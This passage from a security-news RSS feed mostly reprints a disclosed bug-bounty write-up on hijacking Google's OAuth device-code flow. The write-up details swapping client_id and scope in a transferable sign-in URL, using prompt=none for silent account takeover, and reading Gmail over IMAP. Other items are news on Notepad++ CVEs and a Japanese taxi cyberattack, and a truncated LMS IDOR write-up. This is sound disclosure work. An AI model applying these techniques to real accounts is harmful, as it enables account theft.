<h3 aria-level="3"><b><span data-contrast="none">Nihon Kotsu Cyberattack Disrupts Japan Taxi Operations</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Japan’s largest taxi operator, Nihon Kotsu, suffered a malware-related cyberattack that forced the company to shut down parts of its IT infrastructure. The incident, detected on July 11, 2026, affected taxi dispatch services and internal systems as the company worked to contain the attack and investigate potential data exposure. </span><a href="https://thecyberexpress.com/nihon-kotsu-cyberattack/"><span data-contrast="none">Read more…</span></a><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h2 aria-level="2"><b><span data-contrast="none">Weekly Cybersecurity Takeaway</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h2>
<span data-contrast="auto">This week’s cybersecurity developments highlight the growing complexity of modern <a class="wpil_keyword_link" href="https://thecyberexpress.com/cyber-news/" title="cyber" data-wpil-keyword-link="linked" data-wpil-monitor-id="29027">cyber</a> threats, with attacks and security challenges affecting technology platforms, healthcare providers, logistics companies, transportation services, and enterprise software environments. From regulatory action on digital safety to actively exploited vulnerabilities and supply chain disruptions, organizations are facing increased pressure to strengthen resilience and respond faster to emerging <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-risks-in-cybersecurity/" title="risks" data-wpil-keyword-link="linked" data-wpil-monitor-id="29028">risks</a>.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
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<title><![CDATA[This clever Anker portable projector is 19% off at Amazon — and its flippable speakers are a win for presentations and screenings]]></title>
<description><![CDATA[Save big on the Anker Nebula P1i projector with 380 ANSI lumens, 4K support, and built-in Google TV.]]></description>
<link>https://tsecurity.de/de/3675920/it-nachrichten/this-clever-anker-portable-projector-is-19-off-at-amazon-and-its-flippable-speakers-are-a-win-for-presentations-and-screenings/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675920/it-nachrichten/this-clever-anker-portable-projector-is-19-off-at-amazon-and-its-flippable-speakers-are-a-win-for-presentations-and-screenings/</guid>
<pubDate>Fri, 17 Jul 2026 13:48:37 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Save big on the Anker Nebula P1i projector with 380 ANSI lumens, 4K support, and built-in Google TV.]]></content:encoded>
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<title><![CDATA[Details of Alan Turing’s Voice Encryption System]]></title>
<description><![CDATA[Really interesting piece of cryptographic history:
In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was auctioned in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-...]]></description>
<link>https://tsecurity.de/de/3675849/it-security-nachrichten/details-of-alan-turings-voice-encryption-system/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675849/it-security-nachrichten/details-of-alan-turings-voice-encryption-system/</guid>
<pubDate>Fri, 17 Jul 2026 13:10:03 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Really interesting piece of cryptographic <a href="https://spectrum.ieee.org/alan-turings-delilah">history</a>:</p>
<blockquote><p>In November 2023, a large cache of his wartime papers—nicknamed the “Bayley papers”—was <a href="https://www.bonhams.com/auction/28322/lot/45/turing-alan-the-delilah-project-the-papers-of-alan-turing-and-donald-bayley-relating-to-the-delilah-project/">auctioned</a> in London for almost half a million U.S. dollars. The previously unknown cache contains many sheets in Turing’s own handwriting, telling of his top-secret “Delilah” engineering project from 1943 to 1945. Delilah was Turing’s portable voice-encryption system, named after the biblical deceiver of men. There is also material written by Bayley, often in the form of notes he took while Turing was speaking. It is thanks to Bayley that the papers survived: He kept them until he died in 2020, 66 years after Turing passed away...</p></blockquote>]]></content:encoded>
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<title><![CDATA[Critical Notepad++ Bugs Could Lead to Code Execution, Patch Available]]></title>
<description><![CDATA[The latest Notepad++ vulnerabilities addressed in version 8.9.7 include several high-impact security flaws that could expose Windows systems to arbitrary code execution, file overwrite attacks, memory corruption, and authentication bypass.  

Among the most critical issues is a PowerShell comma...]]></description>
<link>https://tsecurity.de/de/3675513/it-security-nachrichten/critical-notepad-bugs-could-lead-to-code-execution-patch-available/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675513/it-security-nachrichten/critical-notepad-bugs-could-lead-to-code-execution-patch-available/</guid>
<pubDate>Fri, 17 Jul 2026 10:54:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="1101" height="614" src="https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities.webp" class="attachment-post-thumbnail size-post-thumbnail wp-post-image" alt="Notepad++ vulnerabilities" decoding="async" srcset="https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities.webp 1101w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-750x418.webp 750w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities.webp 1101w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-300x167.webp 300w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-1024x571.webp 1024w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-768x428.webp 768w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-600x335.webp 600w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-150x84.webp 150w, https://thecyberexpress.com/wp-content/uploads/Notepad-vulnerabilities-750x418.webp 750w" sizes="(max-width: 1101px) 100vw, 1101px" title="Critical Notepad++ Bugs Could Lead to Code Execution, Patch Available 1"></p><span data-contrast="auto">The latest Notepad++ vulnerabilities addressed in version 8.9.7 include several high-impact security flaws that could expose Windows systems to arbitrary code execution, file overwrite attacks, memory corruption, and authentication bypass. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Among the most critical issues is a PowerShell command injection vulnerability in the installer, alongside fixes for CVE-2026-52886, CVE-2026-54758, and CVE-2026-57233. The release also delivers stability improvements and feature enhancements for one of the most widely used text editors on Windows.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">PowerShell Command Injection Tops the List of Notepad++ Vulnerabilities</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">The most severe Notepad++ <a class="wpil_keyword_link" href="https://thecyberexpress.com/firewall-daily/vulnerabilities/" title="vulnerability" data-wpil-keyword-link="linked" data-wpil-monitor-id="29010">vulnerability</a> involves improper handling of PowerShell commands during installation. According to the <a href="https://community.notepad-plus-plus.org/topic/27604/notepad-release-8.9.7" target="_blank" rel="nofollow noopener">developers</a>, the installer has been updated to improve the robustness of PowerShell command processing, reducing the risk of command injection and unauthorized command execution.</span>

<span data-contrast="auto">If exploited, the flaw could allow attackers to manipulate the installation process and execute arbitrary <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">PowerShell</a> commands. In practical scenarios, a compromised installer distributed through spoofed download sources or <a class="wpil_keyword_link" href="https://cyble.com/knowledge-hub/what-is-social-engineering/" target="_blank" rel="noopener" title="social engineering" data-wpil-keyword-link="linked" data-wpil-monitor-id="29009">social engineering</a> campaigns could enable malware deployment during installation, potentially leading to complete system compromise without the user's knowledge.</span>
<h3 aria-level="2"><b><span data-contrast="none">CVE-2026-52886, CVE-2026-54758, and CVE-2026-57233 Address Critical Risks</span></b></h3>
<span data-contrast="auto">In addition to the installer flaw, the update resolves several other <a class="wpil_keyword_link" href="https://thecyberexpress.com/" title="security" data-wpil-keyword-link="linked" data-wpil-monitor-id="29011">security</a> issues across different components. CVE-2026-54758 addresses a stack buffer overflow in the </span><span data-contrast="auto">expandNppEnvironmentStrs</span><span data-contrast="auto"> function that could result in memory corruption and potentially <a href="https://thecyberexpress.com/new-powershell-campaign/" target="_blank" rel="noopener">remote code execution</a>. Meanwhile, CVE-2026-57233 fixes a Zip Slip path traversal vulnerability in the WinGUp updater, preventing attackers from overwriting arbitrary files during the update extraction process.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Another patched issue, CVE-2026-52886, fixes a session handling flaw where manipulated </span><span data-contrast="auto">session.xml</span><span data-contrast="auto"> entries could bypass path validation through the </span><span data-contrast="auto">backupFilePath starts_with</span><span data-contrast="auto"> check. The release also resolves an unassigned vulnerability affecting the macro system, where </span><span data-contrast="auto">shortcuts.xml</span><span data-contrast="auto"> allowed macro execution without proper HMAC verification, creating an integrity bypass that could enable unauthorized macro execution.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Collectively, these Notepad++ <a class="wpil_keyword_link" href="https://thecyberexpress.com/what-are-vulnerabilities/" title="vulnerabilities" data-wpil-keyword-link="linked" data-wpil-monitor-id="29012">vulnerabilities</a> demonstrate how installers, local configuration files, session management, update mechanisms, and macro validation can become attack vectors if not adequately protected.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>
<h3 aria-level="2"><b><span data-contrast="none">Notepad++ v8.9.7 Brings Stability Improvements Alongside Security Fixes</span></b><span data-ccp-props='{"134245418":true,"134245529":true,"335559738":160,"335559739":80}'> </span></h3>
<span data-contrast="auto">Beyond addressing Notepad++ vulnerabilities, version 8.9.7 introduces several usability and stability improvements. Users can now retain the expand and collapse state within "Folder as Workspace," while Incremental Search has been enhanced with count and nth-position indicators. The update also fixes crashes, user interface <a href="https://thecyberexpress.com/cve-2026-45829-chromatoast-chromadb/" target="_blank" rel="noopener">glitches</a>, high-DPI scaling issues, symbolic link freezes, file handling inconsistencies, and search performance problems. Additionally, bundled components have been updated to Scintilla 5.6.4, Lexilla 5.5.1, and pugixml 1.16.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">The Notepad++ team recommends that users update to version 8.9.7 as soon as possible, particularly in enterprise and development environments where the editor processes untrusted files or operates within automated workflows. Although the auto-updater is expected to roll out the release within two weeks, provided no regressions are detected, manual installation is recommended for immediate protection. </span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>

<span data-contrast="auto">Developers are also encouraged to verify download sources, as keeping software updated and installing packages only from trusted locations remains an essential safeguard against exploitation of CVE-2026-52886, CVE-2026-54758, CVE-2026-57233, and other Notepad++ vulnerabilities.</span><span data-ccp-props='{"134233117":false,"134233118":false,"335551550":0,"335551620":0,"335559738":240,"335559739":240}'> </span>]]></content:encoded>
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<title><![CDATA[Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking]]></title>
<description><![CDATA[TL;DRThis one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.Two bugs stack together. First, ...]]></description>
<link>https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675347/hacking/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:37 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>TL;DR</h3><p>This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.</p><p>Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.</p><p>Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html#9-disclosure-timeline">disclosure timeline</a> below.</p><h3>1. Intro</h3><p>Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.</p><p>It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.</p><h3>2. The Device Authorization Grant</h3><p>Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:</p><ol><li>The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).</li><li>The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on <em>any other</em> browser.</li><li>The user opens that URL on their phone or laptop, types the code, signs in, and consents.</li><li>Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.</li></ol><p>The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol <em>already</em> expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser <em>the legitimate device owner</em> is sitting at.</p><p>That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.</p><h3>3. Setting Up YouTube TV on a PS5</h3><p>I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*qmQssZXzIn_0kJeh.png"><figcaption><em>The YouTube TV “Add your Google Account” screen: a QR code and a short user_code, with instructions to finish sign-in on a phone.</em></figcaption></figure><p>Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:</p><ul><li>POST https://oauth2.googleapis.com/device/code → device_code + user_code.</li><li>The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.</li><li>My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.</li><li>The PS5’s next poll returning an access token.</li></ul><p>Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.</p><h3>4. The Transferable Session</h3><p>The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into <em>my</em> device, not theirs.</p><p>RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re <em>not</em> about to lose control of.</p><p>I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.</p><p>But the device-code page asks for an email address <em>before</em> showing consent. Entering one forwards the browser to a different endpoint entirely: a <em>challenge</em> page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending <em>that</em> URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.</p><p>TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.</p><p><strong>Vulnerability #1: the device-code sign-in session is transferable via URL.</strong> RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.</p><p>That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.</p><h3>5. Breaking the Scope Fence</h3><p>A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per <a href="https://developers.google.com/identity/protocols/oauth2/limited-input-device">Google’s own docs</a>: <em>“This OAuth 2.0 flow supports a limited set of scopes.”</em> The complete list:</p><ul><li>openid, email, profile</li><li>youtube, youtube.readonly</li><li>drive.appdata, drive.file (app-scoped Drive only, not full Drive)</li></ul><p>No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.</p><p>So I looked again at the transferable challenge URL:</p><pre>accounts.google.com/v3/signin/challenge/…<br>  ?TL=APouJz6T…              &lt;- encrypted session state<br>  &amp;response_type=none<br>  &amp;client_id=861556708454-…   &lt;- YouTube TV<br>  &amp;scope=…                    &lt;- YouTube scopes</pre><p>Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is <strong>no </strong><strong>redirect_uri anywhere in the URL</strong>. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.</p><p>The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.</p><p>I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own <strong>Cloud SDK</strong> client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said <strong>Google Cloud SDK</strong>, listing the elevated scopes. Approving it, my polling script, still polling with the <em>original</em> YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.</p><p><strong>Vulnerability #2: the server never validates that the </strong><strong>client_id and </strong><strong>scope in the authorization URL match what the </strong><strong>device_code was actually issued for.</strong></p><p>Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*4UwF2sE4BZuwRTMM9aJo9w.gif"><figcaption><em>PoC: device-code hijack escalated from YouTube TV to Google Cloud SDK scopes</em></figcaption></figure><p>The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.</p><h3>6. From Consent Screen to One Click</h3><p>I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the <em>thing being consented to</em> was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.</p><p>OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.</p><p>In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.</p><p>Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.</p><p><strong>One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*hHiWXmNkC5aWkKKDsmLD9w.gif"><figcaption><em>PoC: prompt=none one-click bypass against a third-party client</em></figcaption></figure><p>The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.</p><h3>7. Why the Victim Never Notices</h3><p>The natural follow-up: surely <em>something</em> surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.</p><p><strong>Audit trail pollution.</strong> myaccount.google.com/connections shows the <em>original</em> client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Nq78jsm8FNLJ6QFG.png"><figcaption><em>The “YouTube on TV” connections entry, expanded: Gmail read/compose/send/delete, Cloud SQL, App Engine, and Compute Engine, all under a client that’s supposed to only need YouTube scopes</em></figcaption></figure><p><strong>Implicit 2FA bypass.</strong> The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.</p><p>Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.</p><h3>8. Extending the Primitive</h3><p>Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.</p><p><strong>Persistent access via </strong><strong>accounts.reauth.</strong> Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.</p><p><strong>A Gmail backdoor via IMAP, not the REST API.</strong> Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: <em>"Gmail API has not been used in project 861556708454 before or it is disabled."</em> That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the <strong>XOAUTH2</strong> SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*k7pQv3pDxP21l5DQ.png"><figcaption><em>Successful IMAP XOAUTH2 authentication over the substituted token, listing real Gmail folders and recent inbox messages</em></figcaption></figure><p>End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.</p><p>Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.</p><h3>9. Disclosure Timeline</h3><p><strong>Feb 25, 2026</strong> Report filed with Google VRP<br><strong>Mar 2, 2026</strong> Closed: Won’t Fix (Intended Behavior), citing “social engineering”<br><strong>Mar 2, 2026</strong> Pushed back same day<br><strong>Mar 3, 2026</strong> Reopened, then closed again: Won’t Fix (Infeasible)<br><strong>Mar 3, 2026</strong> Countered with a prompt=none one-click PoC against Facebook’s client_id<br><strong>Mar 4, 2026</strong> Reopened a second time and accepted; bug filed with the product team<br><strong>Mar 28, 2026</strong> Marked fixed<br><strong>Apr 2, 2026</strong> Rewarded $13,337</p><p>The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.</p><h3>10. Mitigations</h3><p>For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:</p><ol><li>Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.</li><li>Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.</li><li>On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.</li></ol><h3>11. Conclusion</h3><p>The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the <em>start</em> of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.</p><p>Thanks for reading.</p><p>Originally published on <a href="https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html">https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=dc6ec2db35a9" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/confused-deputy-google-idp-universal-account-takeover-via-device-code-flow-hijacking-dc6ec2db35a9">Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[How I Found a Cross-Student IDOR in Academy LMS That Leaked Correct Quiz Answers]]></title>
<description><![CDATA[Author: Shikhali Jamalzade GitHub: alisalive LinkedIn: camalzads Type: Independent Security Research | WordPress Plugin CVE ResearchThis is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed a...]]></description>
<link>https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675346/hacking/how-i-found-a-cross-student-idor-in-academy-lms-that-leaked-correct-quiz-answers/</guid>
<pubDate>Fri, 17 Jul 2026 09:23:36 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTFnySBjd6cxjcwiw7Mxpg.png"></figure><h4>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a> <br>GitHub: <a href="http://github.com/alisalive">alisalive</a> <br>LinkedIn: <a href="http://linkedin.com/in/camalzads">camalzads</a> <br>Type: Independent Security Research | WordPress Plugin CVE Research</h4><p>This is a write-up of a vulnerability I independently discovered in Academy LMS, a WordPress LMS plugin with 2,000+ active installations. The vulnerability allowed any enrolled student to read another student’s private quiz results and extract the correct answers to quiz questions — before or during an attempt. It was independently confirmed by another researcher, has since been patched, and this write-up is being published after the fix was released.</p><p>Background: Why Academy LMS</p><p>My WordPress plugin research methodology targets plugins in the 500–9,000 active installations range — a zone that tends to receive less security scrutiny than larger plugins while still having enough real-world deployment to matter. For each candidate, I start with passive analysis: reading the changelog for security-related keywords, reviewing the readme, and checking WPScan’s vulnerability history before touching any code.</p><p>Academy LMS caught my attention because its 3.8.1 changelog contained a specific entry: “Fixed — AJAX API vulnerability in the Notes feature.” This is one of the strongest signals I look for. A developer who has already fixed a security issue in one part of a codebase often used the same patterns elsewhere — and those other places sometimes didn’t get fixed at the same time. My hypothesis was simple: if the Notes controller was fixed, what about the Quiz controller?</p><p>This turned out to be exactly the right question.</p><p>Understanding the Architecture</p><p>Academy LMS uses two parallel systems for handling API requests.</p><p>The first is a centralized AJAX handler defined in includes/classes/abstract-ajax-handler.php. Every AJAX action registered through this base class passes through handle_ajax_request(), which enforces nonce validation and capability checks before dispatching to the actual callback. This is a solid design pattern.</p><p>The second system is a collection of REST controllers under includes/api/ and addons/quizzes/api/. Each controller registers its own routes via register_rest_route() and defines its own permission_callback per endpoint. This is where consistency breaks down.</p><p>When I grepped for permission_callback across the entire plugin, the Notes controller showed the correct pattern: every route used array($this, 'permissions_check'), and that function derived the user via get_current_user_id(), never accepting a user identifier from the request. The Notes fix had made this air-tight.</p><p>The Quiz attempts controller told a different story.</p><p>Two routes in addons/quizzes/api/quiz-questions.php used 'permission_callback' =&gt; '__return_true' — meaning no authentication required at all for those endpoints. That was worth noting. But the more serious issue was in addons/quizzes/api/quiz-attempts.php, specifically in the get_student_quiz_attempt_details endpoint.</p><p>The Vulnerability: Two Separate Failure Points</p><p>The get_student_quiz_attempt_details handler had two independent authorization failures that together created a working 